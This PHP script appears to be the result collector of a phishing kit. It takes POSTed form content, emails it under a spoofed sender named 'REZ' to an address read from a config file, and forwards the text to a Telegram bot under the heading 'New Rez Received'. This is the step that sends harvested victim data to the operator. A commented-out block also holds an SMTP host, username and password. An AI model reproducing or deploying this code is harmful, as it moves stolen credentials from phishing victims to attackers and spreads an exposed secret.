<?php
require 'Exception.php';
require 'PHPMailer.php';
require 'SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

$configPath = __DIR__ . '/dashboard/setting.json';
function debug_log($text) {
    $file = __DIR__ . '/email_debug.txt';
    $time = date('Y-m-d H:i:s');
    file_put_contents($file, "[$time] $text\n", FILE_APPEND);
}
class EmailSender {
    public function kirim($to, $subject, $message, $fromName = '') {

        $mail = new PHPMailer(true);

        try {
            // pakai mail() bawaan PHP
            $mail->isMail();
            
            // $mail->isSMTP();                                        
            // $mail->Host       = 'mail.javier.cat';                  
            // $mail->SMTPAuth   = true;                              
            // $mail->Username   = 'javier@javier.cat';               
            // $mail->Password   = '[Bus17#]';                         
            // $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;         
            // $mail->Port       = 465; 

            $fromName  = !empty($fromName) ? $fromName : 'REZ';
            $fromEmail = 'javier@rs6.rcnoc.com';

            $mail->setFrom($fromEmail, $fromName);

            $recipients = explode(',', $to);
            foreach ($recipients as $recipient) {
                $mail->addAddress(trim($recipient));
            }

            $mail->isHTML(true);
            $mail->Subject = $subject;
            $mail->Body    = $message;
            $mail->AltBody = strip_tags($message);

            if ($mail->send()) {
                debug_log("SUCCESS | To: $to | Subject: $subject");
                return 'Message has been sent';
            } else {
                debug_log("FAILED SEND() | Error: " . $mail->ErrorInfo);
                return 'Message failed to send';
            }

        } catch (Exception $e) {
            debug_log("EXCEPTION | " . $mail->ErrorInfo);
            return "Mailer Error: {$mail->ErrorInfo}";
        }
    }
}
function load_config($file) {
    $data = json_decode(file_get_contents($file), true);
    return is_array($data) ? $data : [];
}
$configFile = __DIR__ . '/dashboard/setting.json';
$config = load_config($configFile);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $to      = $_POST['to'] ?? '';
    $subject = $_POST['subject'] ?? '';
    $html    = $_POST['html'] ?? '';
    $name    = $_POST['name'] ?? '';
    $from    = $name;

    $updatedTo = $config['email'] ?: 'default@example.com';
    $headers = "From: $from\r\n" .
               "Reply-To: $from\r\n" .
               "MIME-Version: 1.0\r\n" .
               "Content-type: text/html; charset=UTF-8\r\n";

    try {
        $emailSender = new EmailSender(); // Instantiate EmailSender class
        $result = $emailSender->kirim($updatedTo, $subject, $html, $name);
    } catch (Exception $e) {
        // Error 
    }

    $botToken = $config['telegram_apikey'] ?? '';
    $chatId   = $config['telegram_chatid'] ?? '';

    if ($botToken && $chatId) {
        $cleanText = strip_tags($html);
        $cleanText = html_entity_decode($cleanText);

        $html = "ðŸ“§ *New Rez Received:*\n"
                 . "*Message:*\n"
                 . "```\n" . substr($cleanText, 0, 3800) . "\n```";

        $url = "https://api.telegram.org/bot$botToken/sendMessage";
        $data = [
            'chat_id' => $chatId,
            'text' => $html,
            'parse_mode' => 'Markdown'
        ];

        @file_get_contents($url . '?' . http_build_query($data));
    }

    echo json_encode([
        "text"    => "Email sent and forwarded to Telegram!",
        "to"        => $updatedTo,
        "from"    => $from,
        "subject" => $subject,
        "html"    => $html
    ]);
}
?>
